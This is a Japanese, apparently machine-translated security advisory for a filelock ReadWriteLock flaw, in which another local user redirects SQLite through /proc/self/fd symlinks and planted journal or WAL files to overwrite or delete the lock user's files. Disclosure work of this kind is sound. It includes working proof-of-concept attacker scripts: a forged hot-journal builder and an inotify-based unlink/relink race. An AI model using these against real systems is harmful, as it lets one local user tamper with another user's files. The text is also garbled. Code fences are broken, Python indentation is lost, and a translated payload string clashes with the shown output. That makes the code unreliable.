filelock: `ReadWriteLock`:SQLiteは、ロックデータベースを名前で再度開きます。そのため、偽のシンボリックリンクやジャーナルファイルが設定されていると、ロックを使用しているプロセスのファイルが、自身のファイルの上書きや削除を引き起こす可能性があります。
`ReadWriteLock`と`AsyncReadWriteLock`(SQLiteをバックエンドとするリーダー/ライターロック)は、制御できない名前をSQLiteに渡します。Linuxでは、ロックはディスクリプタ(カーネルがファイルを開いた際にプロセスに与える番号)を使用してデータベースを検証します。次に、SQLiteは`/proc/self/fd/<n>`というLinuxのパスに接続します。このパスは、プロセスの開いているファイル`n`の名前を示します。SQLiteは、そのパスを単純なパスに戻し、名前で再度開き、シンボリックリンク(別のパスを指すファイル)を辿ります。また、POSIX環境では、SQLiteは、その名前の横にある`-journal`、`-wal`、および`-shm`ファイルも処理します。これらはSQLiteの補助ファイルであり、ロールバックジャーナル(中断された書き込みを元に戻すために保存されたページ)、ライトアヘッドログ(WAL)(メインファイルの外に保存される変更)、およびWAL用の共有メモリインデックスです。
ロックデータベースが格納されているディレクトリ内で、エントリを作成またはリネームできる別のローカルユーザーは、ロックを使用しているユーザー(以下:ロックユーザー)に対してこの脆弱性を悪用できます。そのようなディレクトリは、`0777`またはグループ書き込み可能なキャッシュ、ビルドディレクトリ、またはプロジェクトディレクトリであり、stickyビット(ファイルの所有者のみが削除またはリネームできるディレクトリフラグ)が設定されていません。その別のユーザーは、ロックユーザーの通常の`read_lock()`または`write_lock()`呼び出しによって、ロックユーザー自身のファイルに、そのユーザーが指定したバイトを書き込ませることができます。同様に、別のユーザーは、その呼び出しによって、ロックユーザーのファイルを作成または削除したり、ライターの他にリーダーを許可したり、またはプロセスを終了させたりすることができます。これらの操作はすべて、ロックユーザーの権限で実行されます。`/tmp`のようなstickyディレクトリでは、偽の`-wal`ファイルが設定されていると、ロックの取得がすべて失敗します。影響を受けるバージョンは、filelockの3.20.4から4.2.0(`/proc/self/fd`のリダイレクトは4.0.9以降、補助ファイルのバリエーションは3.20.4以降)です。
AnthropicのOSSスキャナが、非公開で`ANT-2026-KMJ2575J`というIDで報告しました。[重要度: 高、CWE-363]: ReadWriteLock: SQLiteは、依然として偽のシンボリックリンクに従い、ファイルを上書きします。
## 深刻度
**CVSS 3.1による評価は`CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H`で、7.1(重要度: 高)です。** `AV:L`(ローカル):別のユーザーは、同じホストのアカウントが必要です。`PR:L`(低い権限):通常のユーザーアカウントで十分です。`UI:N`(ユーザー操作不要)。`AC:L`(低い攻撃の複雑さ):偽のジャーナルを使用する攻撃では、競合状態は不要であり、リダイレクトは77回中77回の試行で成功しました。`I:H`(高い完全性への影響):別のユーザーは、ロックユーザーのファイルに任意のデータを書き込み、任意のファイルを削除できます。`A:H`(高い可用性への影響):別のユーザーは、ロックの取得をすべて失敗させたり、ロックを保持しているプロセスを終了させたりできます。`C:N`(低い機密性への影響):別のユーザーは、何も情報を得ることができません。`S:U`(影響範囲の変化なし):影響は、ロックユーザー自身の権限の範囲内に留まります。
外部レビューによる分類:**条件付きセキュリティ**。これは、別のユーザーがロックデータベースのディレクトリ内のファイル名を変更できる場合にのみ発生する、ユーザー間の影響です。レビューでは、77回中77回のinotifyの結果(inotifyは、ファイルイベントを報告するLinuxのインターフェース)は、理論的なTOCTOU(チェック時点と使用時点の間の競合状態)よりも強力な証拠であると指摘されています。スキャナはこれを重要度: 高と評価しました。レビューでは、このメカニズムを受け入れ、その前提条件に限定しています。
## 範囲と前提条件
- 別のプロセスが、ロックデータベースを保持するディレクトリ内のエントリを作成または変更できる、別のローカルアカウントである可能性があります。これは、`0777`のパーミッションを持つディレクトリ、またはグループ書き込み可能なディレクトリ(例えば、setgid `2775`のプロジェクトディレクトリで、そのアカウントと共有されている場合)であり、いずれの場合もstickyビットは設定されていません。ロックユーザーのロックは、データベースを読み書きできるようにする必要があります。したがって、他のユーザーが作成したデータベースは`0666`のパーミッションになります。filelock自体が作成するデータベースは`0600`のパーミッションになります。
- stickyディレクトリ(`/tmp`、`/var/tmp`、または任意の`1777`のディレクトリ)は、該当するものを除外するのではなく、むしろ検索範囲を狭めます。リダイレクトとジャーナルリプレイは、ロックユーザーが所有するデータベースには到達しません(`fs.protected_regular=2`でテスト済み)。残っているのは、ロックユーザーが削除できない、空でない`<db>-wal`ファイル(任意のパーミッションで、ディレクトリまたはFIFOでも動作します)です。これにより、ロックの取得時に`sqlite3.OperationalError: disk I/O error`が発生します。また、`fs.protected_hardlinks=0`の場合、ロックパスにあるロックユーザーのファイルのハードリンク(同じファイルに対する別の名前)も残ります。
- 2つのカーネル設定が重要です。`fs.protected_regular`(ほとんどのディストリビューションでは、systemdのデフォルトは1または2であり、カーネル自身のデフォルトは0です)は、ユーザーが、stickyな世界書き込み可能なディレクトリにある、別のユーザーが所有するファイルを開くのを防ぎます。この設定が0の場合、他のユーザーは`/tmp`ディレクトリでデータベースを所有でき、SQLiteは、自身でシンボリックリンクをたどる可能性があります(テストされていません)。`fs.protected_hardlinks=1`(ほとんどのディストリビューションで、カーネルのデフォルトは0です)は、ロックユーザーのファイルを、ハードリンクによってロックパスに配置するのを防ぎます。これらの設定は、stickyビットが設定されていない共有ディレクトリには影響しません。
- プラットフォームと経路。`/proc/self/fd`のリダイレクトは、`/proc`がマウントされているLinux環境で、4.0.9以降のバージョンで使用されます。サイドファイル(`-journal`、`-wal`、`-shm`)のバリアントは、すべてのPOSIX環境で使用可能です。ハードリンクの経路(macOSでは4.1.1以降、すべての接続で、Linuxでは`/proc`がない場合)では、上記「仕組み」で説明されているリンクディレクトリの置き換えが必要であり、そのため、親ディレクトリにはstickyビットを設定できません。スキャナーとレビューは、macOSでは実行されませんでした。この記述は、プラットフォームのブランチとIDに基づいています。
同じコードがその後に続きます。Windows はこのパスを使用しません。
- 親ディレクトリの保護。他のローカルユーザーからの保護は、他のユーザーがロックのディレクトリまたはその親ディレクトリを置き換えることができない場合にのみ可能です。これは、各親ディレクトリがユーザーまたは root に属し、他のユーザーによって書き込み可能でないか、または sticky ビットが設定されている場合に成り立ちます。上位の非 sticky ディレクトリ内のエントリの名前を変更できるユーザーは、その下のすべての名前を制御できます。ファイルベースのロックは、それに対する防御はできません。
## 影響を受けるコード
スキャンされたコミット `b831496b0273`: [`_connect_through_descriptor` が `/proc/self/fd/<n>` を作成し、それを `sqlite3.connect` に渡します](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L982-L1001)。ここでは、[63 行目のコメント](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63)にある「ディスクリプタパスは検証済みの inode を再度開く」という記述が前提となっています(inode は、ファイル名とは独立してカーネルが持つファイルの識別子です)。SQLite は、まず [`PRAGMA journal_mode=MEMORY`, 816 行目](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L816)で開いたファイルを読み込みます。[`_raise_if_database_replaced` の 836 行目](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L836) でのチェックは、`BEGIN` の後のみ実行されます。[`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) と [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) は、SQLite が使用しているファイルではなく、ディスクリプタを検査します。macOS の場合の 1 レベルのハードリンクは、[`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029) です。
## 導入
`/proc/self/fd`へのリダイレクト機能は、`4d45e83`(「フォークからのマージコミット」、GHSA-j8f7-rjxc-mr56の修正)によって導入され、最初に**4.0.9**でリリースされました(確認済み:`git tag --contains 4d45e83`を実行すると4.0.9が表示されます)。4.0.8にはこの機能はありません。サイドファイル版はさらに古いものです。これらの問題は、`cfd4446`(「feat(lock): SQLiteベースのReadWriteLockを追加(#399)」)によって再現され、最初に**3.20.4**でリリースされました(確認済み)。このコミットでは、ロックパスが直接`sqlite3.connect`に渡されていました。
## 仕組み
Linuxでは、ロック機能がデータベースを`O_RDWR|O_CREAT|O_NOFOLLOW|O_NONBLOCK`オプションで開きます。ファイルディスクリプタを通じて、ファイルが通常のファイルであり、WALデータベースではないことを確認します。その後、`sqlite3.connect("/proc/self/fd/<n>")`を呼び出し、SQLiteが検証されたinodeを再度開くことを期待します。しかし、SQLiteはその名前でファイルを開きません。代わりに、`readlink()`関数を実行し、カーネルがその時点のファイルディスクリプタに対して報告するパス文字列を取得します。そして、その文字列をパスとして開き、すべてのシンボリックリンクを辿ります。干渉がない場合、トレースには`readlink("/proc/534/fd/3") = "/tmp/benign/app.lock.db"`という出力と、そのパスに対する2回目の`openat`呼び出しが表示されます。ファイルディスクリプタは文字列のみを提供します。ファイルディスクリプタに対応するディレクトリエントリが削除されると、文字列は`<データベース> (deleted)`となります。その正確な名前を持つシンボリックリンクは、作成者が指定した場所にSQLiteを誘導します。
別のユーザーが、ロックユーザーが実行する前に、ディレクトリを準備します。彼らはデータベースファイル `cache.lock.db` (パーミッションは `0666` で、ロックユーザーがロックをかけることができるように設定) を作成し、ハードリンク `cache.lock.db.keep` と、シンボリックリンク `cache.lock.db (削除済み) -> /tmp/victim-notes.txt` を作成します。ロックユーザーの `os.open` が、inotify の `IN_OPEN` イベントを発生させます。別のユーザーは `cache.lock.db` をアンリンクし、`cache.lock.db.keep` を同じ名前で再リンクします。ロックユーザーのファイルディスクリプタは、依然としてアンリンクされたエントリを参照しているため、`/proc/self/fd/3` は現在 `/tmp/shared-cache/cache.lock.db (削除済み)` を読み込んでいます。`sqlite3.connect` がこれを解決し、シンボリックリンクをたどり、ターゲットファイルを `O_RDWR|O_CREAT` で開きます。filelock のチェック機能は、このファイルの内容を一切参照しません。`_open_lock_database` と `_raise_if_wal` は、ファイルディスクリプタ 3 を検査します。`_raise_if_database_replaced` は、ロックパスの `lstat` の結果と、ファイルディスクリプタの `(st_dev, st_ino)` を比較しますが、別のユーザーが同じ inode を再リンクしたため、この比較は成功し、これは `BEGIN` の後のみに実行されます。
問題は、最初のステートメント `PRAGMA journal_mode=MEMORY` から発生します。SQLite は `<target>-journal` を見つけ、中断されたトランザクションのロールバックジャーナルとして扱い、ターゲットファイルがデータベースであるかどうかを確認する前に、そのページのレコードをターゲットファイルにコピーします。ジャーナルのヘッダーには、ページサイズとページ数が含まれており、SQLite はそれに基づいてファイルをリサイズします。ジャーナルを作成したユーザーは、各ページのチェックサムを計算しました。したがって、オフセット 0 からのコンテンツと、最終的なファイルサイズは、別のユーザーによって設定されたものです。ロックユーザーのプロセスの strace (SQLite 3.40.1):
```
openat("/tmp/shared-cache/cache.lock.db", O_RDWR|O_CREAT|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC, 0600) = 3
readlink("/proc/3819/fd/3", "/tmp/shared-cache/cache.lock.db (deleted)", 4096) = 41
readlink("/tmp/shared-cache/cache.lock.db (deleted)", "/tmp/victim-notes.txt", 4096) = 21
openat("/tmp/victim-notes.txt", O_RDWR|O_CREAT|O_NOFOLLOW|O_CLOEXEC, 0644) = 4
openat("/tmp/victim-notes.txt-journal", O_RDWR|O_NOFOLLOW|O_CLOEXEC) = 5
pread64(5, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 516) = 4096
pwrite64(4, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 0) = 4096
unlink("/tmp/victim-notes.txt-journal") = -1 EPERM -> "ディスクI/Oエラー"
```
リダイレクト自体にはジャーナルは不要です。コンストラクタの検証接続によって、SQLiteがターゲットファイルを`O_CREAT`オプションで開きます。シンボリックリンクがロックユーザーのホームディレクトリ内の存在しないパスを指している場合、ロックの作成によってそのファイルが作成されます(空で、`0644`のパーミッションで、ロックユーザーが所有)。この場合、エラーは発生しません。シンボリックリンクがロックユーザーの`0600`のWALモードのSQLiteデータベースを指している場合、`write_lock()`はエラーなしで正常に終了し、データベースのヘッダーバイト18と19が`2 2`から`1 1`に変化します。pragmaによって、ロックユーザーのデータベースがWALモードから外され、リダイレクトされたロックの取得は、ロックデータベースではなく、そのデータベースに対するSQLiteのロックを保持します。
**データベースの横にあるサイドファイルの名称。** 2つのコメントには、SQLiteがサイドファイルをディスクリプタパスに基づいて命名するという考えが記録されています([行63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63)、[行1095](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1095))。パスはSQLiteによって生成されるものではありません。`<database>-journal`、`<database>-wal`、`<database>-shm`は、共有ディレクトリ内の解決された実際のパスから派生します。`journal_mode=MEMORY`は、SQLiteが書き込むジャーナルのみを制御し、見つけるジャーナルを制御するものではありません。これらのバリエーションはリダイレクトを必要としません。
*ホットジャーナルを使用すると、ロックユーザーがジャーナルに名前が付けられたファイルをアンリンクします。競合は発生しません。* 他のユーザーは、ロックユーザーの空の`lock.db`ファイルを削除し、1ページのSQLiteデータベース(パーミッション`0666`)をその場所に配置し、46バイトの`lock.db-journal`を書き込みます。これには、パス、その4バイトの長さ、そのバイトの合計値(4バイト)、およびSQLiteのジャーナルマジックが含まれます。SQLiteは、空でないデータベースの隣にあるジャーナルを「ホット」とみなし(中断されたトランザクションによって残されたもの)。このジャーナルは「スーパージャーナル」と呼ばれ、リカバリは、このファイルをアンリンクすることによって終了します。ロックユーザーの次の`read_lock()`または`write_lock()`呼び出しはエラーなしで完了し、指定されたファイルは削除されます(ロックユーザーの`0700`パーミッションのディレクトリにある`/home/victim/private/notes.txt`をアンリンク: `unlink("/home/victim/private/notes.txt") = 0`)。指定されたファイルは、ロックユーザーが読み取りおよびアンリンクできる、空でない通常のファイルである必要があります。`lock.db-journal`として配置されたFIFOは、SQLiteのジャーナルの`open()`関数で`read_lock(timeout=2)`をブロックします(10秒後に強制終了した場合でもブロックされたまま)。
*再作成された`-wal`ファイルは、`_raise_if_wal`を通過し、ホルダーをWALモードにします。* `_raise_if_wal`は、ヘッダーの18バイト目と19バイト目をチェックします。接続が最初にロックを取得するたびに、SQLiteは`<db>-wal`という統計情報を取得し、そのファイルとデータベースの両方が空でない場合、ヘッダーの内容に関係なく、WALファイルを開きます。816行目のpragmaは、そのようなデータベースを変換し、`-wal`と`-shm`ファイルをアンリンクします。833行目の`BEGIN`は、別のステートメントであり、ロックされていない状態で開始され、`<db>-wal`の統計情報を再度取得します。このギャップで32バイトの`-wal`ファイルを再作成すると、20回の試行すべてで、2CPUのマシンで最初の試行で成功しました。
ロックユーザーの `with lock.write_lock():` ブロック内では、`-shm` の 120 バイト目に対応する WAL (Write-Ahead Logging) の書き込みロックが保持され、データベースに対しては共有ロックのみが許可されます。他のユーザーが `-wal` を削除すると、書き込み処理がブロック内で実行されている間に、ロックユーザーの別のプロセスが `read_lock(timeout=1)` を取得できます。この際、どちらの側にも例外は発生しません。SQLite は、データベースの権限ビット (`0666`) を設定して `<db>-shm` を作成し、それをメモリにマッピングします。他のユーザーがこれを切り詰めた場合、書き込み処理は `connection.rollback()` の実行中に `SIGBUS` (存在しないマッピングされたファイル領域にアクセスしたことを示すシグナル) で終了します。
*「sticky」属性を持つディレクトリにある `-wal` ファイルの場合、ロックの取得は常に失敗します。これにより、競合やデータベースへのアクセスは発生しません。* ロックユーザー自身の空の `0600` 権限のデータベースファイルに加え、内容を持つ `<db>-wal` ファイル (1 バイトでも、任意のモードでも、ディレクトリや FIFO でも動作します) は、SQLite が削除しようとする残骸です。`1777` 権限のディレクトリでは、ロックユーザーは他のユーザーのファイルを削除できません (`unlink(...) = -1 EPERM`)。そのため、pragma コマンドが `SQLITE_IOERR_DELETE` エラーで失敗します。[`_do_acquire_inner`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L763) のコードでは、「データベースがロックされている」というメッセージが `Timeout` として解釈されます。したがって、`sqlite3.OperationalError: disk I/O error` エラーが発生すると、`acquire_read()` / `acquire_write()` (および非同期バージョン) は、`timeout` や `blocking` の設定に関わらず、数ミリ秒以内に失敗し、ファイルの所有者または root ユーザーが削除するまで続きます。
*このコミットで、スティッキー属性のないディレクトリで観察された追加の効果。* ロックユーザーが所有する`0755`のスクリプトが、ロックパスにリネームされ、その横に1つのレコードを持つジャーナルが追加されると、他のユーザーのデータが保持される(acquire時に「ファイルはデータベースではない」というエラーが発生)。ロックユーザーの`0600`の`~/.profile`へのハードリンクが、スティッキー属性のある`/tmp`ディレクトリに作成されると、同様の問題が発生する(`fs.protected_hardlinks=0`の場合)。ロックプロセスがrootユーザーで実行される場合、SQLiteは、データベースの所有者と一致させるために、開いた`-wal`または`-shm`ファイルに対して`fchown`を実行する。したがって、rootユーザーの`0600`の`service.env`が`app.lock.db-wal`にリネームされると、rootユーザーの`read_lock()`によって、そのファイルは他のユーザーの所有権になる。
データベース自体を名前とするスーパージャーナルを持つ場合、SQLiteはデータベースに対して2番目のファイルディスクリプタを開閉するため、プロセスのPOSIXロックが解放される。その結果、`acquire_read`は`/proc/locks`でロックを持たずに終了し、別のプロセスで書き込み処理が行われる(連続して2つのジャーナルが作成され、1つのステートメントごとに1つずつ;書き込みロックには影響がない)。他のユーザーが2つのバイトロックを保持している`lock.db-wal`(1バイト)と`lock.db-shm`があると、`timeout`に関わらず、acquire処理に10秒かかるか、または「locking protocol」というエラーが発生する。また、他のユーザーが`-shm`ファイルを切り捨てると、`SIGBUS`でプロセスが終了する可能性がある。
**スティッキー属性のないディレクトリにおけるハードリンクの利用。** 上記の問題は、`_link_beside`ブランチ(macOS、`/proc`のないLinux)では発生しない。そこで、SQLiteのメインファイルは、接続しているユーザーの`0700`ディレクトリ内の`.filelock-…/lock.db`となる。この保護は、他のユーザーが`.filelock-*`のエントリ自体をリネームできない場合にのみ有効である。なぜなら、`0700`は内容を保護するだけで、親ディレクトリのエントリ自体は保護しないためである。`_link_beside`はリンクを1回チェックし、パス名を返すと、その後のすべての利用は、その名前で行われる。
`/proc`ディレクトリを`0777`権限で隠し、別のユーザーが、ハードリンク`lock.db`を持つディレクトリ(これは1ページのデータベースへのリンク)と、アクティブな`lock.db-journal`ファイルを含むディレクトリを準備しました。そのユーザーはデータベースに対して`BEGIN EXCLUSIVE`を実行し、ロックユーザーの最初のステートメントは、ロックされたデータベースに対するリトライループ(SQLiteの機能)で待機しました。次に、ロックユーザーの`.filelock-*`ディレクトリの名前を変更し、準備されたディレクトリの名前を変更して、ロールバックしました。SQLiteは`SHARED`モードになり、名前が変更されたジャーナルファイルを見つけ、ファイル名を変更してファイルをアンリンクしました。ロックユーザーのプロセスは、ロックが保持されていることを報告し、正常終了(終了コード0)しました。書き込みロックを使用しないポーリング方式も成功しました(40回の試行で、ロックユーザーのプログラムの起動1回から26回で、ファイルが消えました)。スティッキービットが設定されている場合、名前変更は`EPERM`エラーで失敗します。
## 再現手順
スキャナーの再現スクリプトは、`ANT-2026-KMJ2575J`として引用されています。これは、コミット`b831496b0273`に対して実行されました。
**`repro`**
```python
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
as_victim = {"user": "victim", "group": "victim", "extra_groups": []}
as_attacker = {"user": "attacker", "group": "attacker", "extra_groups": []}
# 準備:ロックデータベースは共有キャッシュディレクトリにあり、権限は0777で、スティッキービットは設定されていません。
shared_dir = "/tmp/shared-cache"
lock_db = shared_dir + "/cache.lock.db"
shutil.rmtree(shared_dir, ignore_errors=True)
os.mkdir(shared_dir)
os.chmod(shared_dir, 0o777)
```
# 準備:被害者のファイル(0600パーミッション)を、攻撃者が書き込み権限を持たない/tmpディレクトリに作成する。
target = "/tmp/victim-notes.txt"
for leftover in (target, target + "-journal"):
if os.path.lexists(leftover):
os.unlink(leftover)
original = b"original victim notes\n"
with open(target, "wb") as notes:
notes.write(original)
shutil.chown(target, "victim", "victim")
os.chmod(target, 0o600)
direct_write = subprocess.run(
[sys.executable, "-c", "import sys; open(sys.argv[1], 'r+b')", target], capture_output=True, text=True, **as_attacker
)
print("攻撃者がターゲットファイルを書き込み用に開こうとしました:", direct_write.stderr.strip().splitlines()[-1])
assert direct_write.returncode != 0
# 攻撃:ターゲットファイルに隣接してホットジャーナルを作成し、被害者のSQLiteデータベースのロックデータベースをターゲットファイルにリダイレクトする。
content = "攻撃者が被害者のReadWriteLockによって書き込んだ内容\n"
subprocess.run([sys.executable, "/tmp/repro.d/plant_hot_journal.py", target, content], check=True, **as_attacker)
redirect = subprocess.Popen(
[sys.executable, "/tmp/repro.d/redirect_lock_db.py", lock_db, target], stdout=subprocess.PIPE, text=True, **as_attacker
)
assert redirect.stdout.readline() == "ready\n"
# 被害者が読み込みロックを取得します。攻撃者はロックの取得を競合させ、被害者の処理は最大20回まで実行されます。
for run in range(1, 21):
victim = subprocess.run(
[sys.executable, "/tmp/repro.d/victim_app.py", lock_db], capture_output=True, text=True, timeout=60, **as_victim
)
with open(target, "rb") as notes:
after = notes.read()
if after != original:
break
redirect.kill()
redirect.wait()
```
# check: キャッシュロックファイルにロックをかける操作は、被害者のノートファイルを変更してはならない
print(f"被害者プロセス {run}: 終了ステータス {victim.returncode}:", (victim.stderr.strip() or "no error").splitlines()[-1])
status = os.stat(target)
print("ターゲットファイルの所有者、パーミッション、サイズ:", status.st_uid, oct(status.st_mode & 0o7777), status.st_size)
print("ターゲットファイルの内容(変更前):", original)
print("ターゲットファイルの内容(変更後):", after[:60])
print("BUG" if after == content.encode().ljust(4096, b"\0") else "OK")
```
**`repro.d/plant_hot_journal.py`**
```python
#!/usr/bin/env python3
"""攻撃者: ターゲットファイルの最初のページをCONTENTに復元するロールバックジャーナルを、ターゲットファイルに隣接して作成する。"""
import os
import struct
import sys
target, content = sys.argv[1], sys.argv[2].encode()
journal_path = target + "-journal"
# https://www.sqlite.org/fileformat2.html#the_rollback_journal
JOURNAL_MAGIC = bytes.fromhex("d9d505f920a163d7")
page_size, sector_size, nonce = 4096, 512, 0x11223344
record_count = 1
pages_after_rollback = 1 # SQLiteは、ターゲットファイルをこのページ数に切り詰める
header = JOURNAL_MAGIC + struct.pack(">IIIII", record_count, nonce, pages_after_rollback, sector_size, page_size)
page_number = 1 # ページ1はオフセット0から始まる
page_image = content.ljust(page_size, b"\0")
# SQLiteのpager_cksum(): nonceに加えて、ページサイズから200バイト目以降、200バイトおきに存在するバイトの合計
checksum = (nonce + sum(page_image[i] for i in range(page_size - 200, 0, -200))) & 0xFFFFFFFF
record = struct.pack(">I", page_number) + page_image + struct.pack(">I", checksum)
with open(journal_path, "wb") as journal:
journal.write(header.ljust(sector_size, b"\0") + record)
os.chmod(journal_path, 0o666) # 被害者のSQLiteは、ホットジャーナルをO_RDWRで開く
```
**`repro.d/redirect_lock_db.py`**
```python
#!/usr/bin/env python3
"""攻撃者: 被害者のSQLiteが、/proc/self/fd/<n>を介して接続する際に、LOCK_DBではなくターゲットファイルを開くようにする。"""
import ctypes
import os
import sys
lock_db, target = sys.argv[1], sys.argv[2]
spare_name = lock_db + ".keep"
```
```
# 攻撃者がロックデータベースを作成します。このデータベースは、被害者のReadWriteLockが受け入れるように、誰でも書き込み可能な状態にします。
os.close(os.open(lock_db, os.O_CREAT | os.O_WRONLY))
os.chmod(lock_db, 0o666)
os.link(lock_db, spare_name)
# /proc/<pid>/fd/<n>で読み取られる内容は、ファイルディスクリプタが削除された名前によって決まります。
os.symlink(target, lock_db + " (deleted)")
IN_OPEN = 0x20
libc = ctypes.CDLL(None, use_errno=True)
inotify = libc.inotify_init1(0)
if libc.inotify_add_watch(inotify, lock_db.encode(), IN_OPEN) < 0:
raise OSError(ctypes.get_errno(), "inotify_add_watch", lock_db)
print("ready", flush=True)
while True:
os.read(inotify, 4096) # 被害者のReadWriteLockがデータベースを開き、そのディスクリプタを検証しています。
os.unlink(lock_db)
os.link(spare_name, lock_db) # 同じinodeをパスに戻すため、filelockの後のlstatでは変更が検出されません。
```
**`repro.d/victim_app.py`**
```python
#!/usr/bin/env python3
"""被害者: ドキュメントの`docs/how-to.rst`にあるように、共有読み取りロックを一度だけ取得するアプリケーションです。"""
import sys
from filelock import ReadWriteLock
rw = ReadWriteLock(sys.argv[1])
with rw.read_lock(timeout=5):
pass
```
## 攻撃シーケンス
リダイレクトは、`A`を別のローカルユーザーとします。
```
```mermaid
sequenceDiagram
participant A as その他のローカルユーザー
participant V as ロックユーザーのプロセス (ファイルロック)
participant S as そのプロセス内のSQLite
participant K as カーネルとファイルシステム
rect rgb(255, 214, 214)
Note over A,K: Linux上のfilelock 4.0.9から4.2.0、stickyビットのない0777のディレクトリロック
A->>K: cache.lock.db (0666)を作成し、別のハードリンクcache.lock.db.keepを作成
A->>K: /tmp/victim-notes.txtを指すシンボリックリンク"cache.lock.db (deleted)"を作成
A->>K: /tmp/victim-notes.txt-journal (ホットロールバックジャーナル、1ページのレコード)に書き込み
V->>K: open(cache.lock.db, O_RDWR O_CREAT O_NOFOLLOW)でファイルディスクリプタ3を取得、fstatでは通常ファイル、ヘッダーはWALではない
K-->>A: cache.lock.dbに対するinotify IN_OPENイベント
A->>K: unlink(cache.lock.db)を実行し、link(cache.lock.db.keep, cache.lock.db)を実行
V->>S: sqlite3.connect("/proc/self/fd/3")を実行
S->>K: readlink(/proc/self/fd/3)は"cache.lock.db (deleted)"を返す
S->>K: open("cache.lock.db (deleted)")はシンボリックリンクをたどり、victim-notes.txtを開く
V->>S: PRAGMA journal_mode=MEMORYを実行
S->>K: victim-notes.txt-journalを開き、ページ1を読み込み、それをvictim-notes.txtのオフセット0に書き込む
Note over V,K: victim-notes.txt (0600、22バイト)は、別のユーザーの4096バイトのページイメージになり、ロックユーザーは「ディスクI/Oエラー」を見る
V->>K: lstat(cache.lock.db)はファイルディスクリプタ3の同一性を確認するため、_raise_if_database_replacedは成功する
end
```
リダイレクトを必要としない、サイドファイルのバリエーション。
```mermaid
flowchart TD
B0["acquire: バリデートされたファイルディスクリプタを取得し、共有ディレクトリ内の名前でSQLiteに接続"] --> B1{"他のユーザーが実際のパスの横に何を入れたか?"}
B1 -- "ホットジャーナルが、置き換えられた1ページのデータベースの横にある" --> B2["PRAGMAがジャーナルを再生し、名前が付けられたスーパージャーナルファイルをアンリンクし、acquireが成功する"]
B1 -- "PRAGMAとBEGINの間に-walが再作成される" --> B3["WALモードのホルダー。書き込み側と並行して読み取り側が許可される。-shmが切り詰められた場合、SIGBUSが発生する"]
B1 -- "-walが、ロックユーザーがアンリンクできないディレクトリにある" --> B4["acquireを実行するたびに、OperationalError(ディスクI/Oエラー)が発生し、タイムアウトは無視される"]
B1 -- "名前がアンリンクされ、(削除された)シンボリックリンクが作成される" --> B5["SQLiteは、O_CREATオプションでシンボリックリンクのターゲットを開く"]
classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;
classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;
classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;
class B0,B1 info;
class B2,B3,B4,B5 bad;
```
スキャナの再現スクリプトは、ユーザー`victim`として、`/tmp/shared-cache/cache.lock.db`に対して、ドキュメントに記載されている`ReadWriteLock(path)` + `with rw.read_lock(timeout=5):`を実行します。この際、ユーザー`attacker`はシンボリックリンクを保持し、inotifyイベントを監視しています。まず、`attacker`がターゲットファイルへの書き込みを試みた結果、`PermissionError: [Errno 13] Permission denied: '/tmp/victim-notes.txt'`というエラーが発生することが示されます。最初の`victim`の実行時に、`victim run 1: exit status 1: sqlite3.OperationalError: disk I/O error`というメッセージが出力され、ターゲットファイルの所有者、モード、サイズはそれぞれ`1000 0o600 4096`、実行前の内容は`b'original victim notes\n'`、実行後の内容は`b"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\n\x00..."`となり、最終的な判定は`BUG`となります。inotifyイベントへの反応により、77回のうち77回で、最初のロック取得が妨害されました。また、inotifyを使用しない単純なunlink/linkの繰り返し処理でも、最初の実行で成功しました。1つのデータベースに対して2つの`ReadWriteLock`インスタンスを保持するプロセスは、未使用のファイルディスクリプタを保持しており、2回目のロック取得の1秒前にスワップが行われたことで、それが引き起こされました。`-wal`オプションを使用したテストは、20回のうち20回で、最初の試行で成功しました。ジャーナルunlinkのバリエーションでは、競合状態は必要ありません。
検証結果:再現スクリプトは、スキャン対象のコミット`b831496`およびバージョン4.2.0のイメージ(`e2e7d70`)で`BUG`と出力します。一方、プルリクエスト#834の最新バージョンでは、`OK`と出力されます。これは、20回の`victim`の実行すべてがエラーなしで終了コード0で完了し、ターゲットファイルの内容が`1000 0o600 22`バイトで、元の内容を維持していることを意味します。独立したレビューでは、stickyディレクトリを使用した`-wal`バリエーションもテストされました。このバリエーションでは、`victim`が所有する`0600`モードのデータベースが`1777`ディレクトリに配置され、他のユーザーが`<db>-wal`という名前でファイルを作成します。バージョン4.2.0では`OperationalError: disk I/O error`が発生しますが、プルリクエストの最新バージョンでは、ファイルが存在する状態で、読み込みと書き込みのロックが取得されます。
## 影響
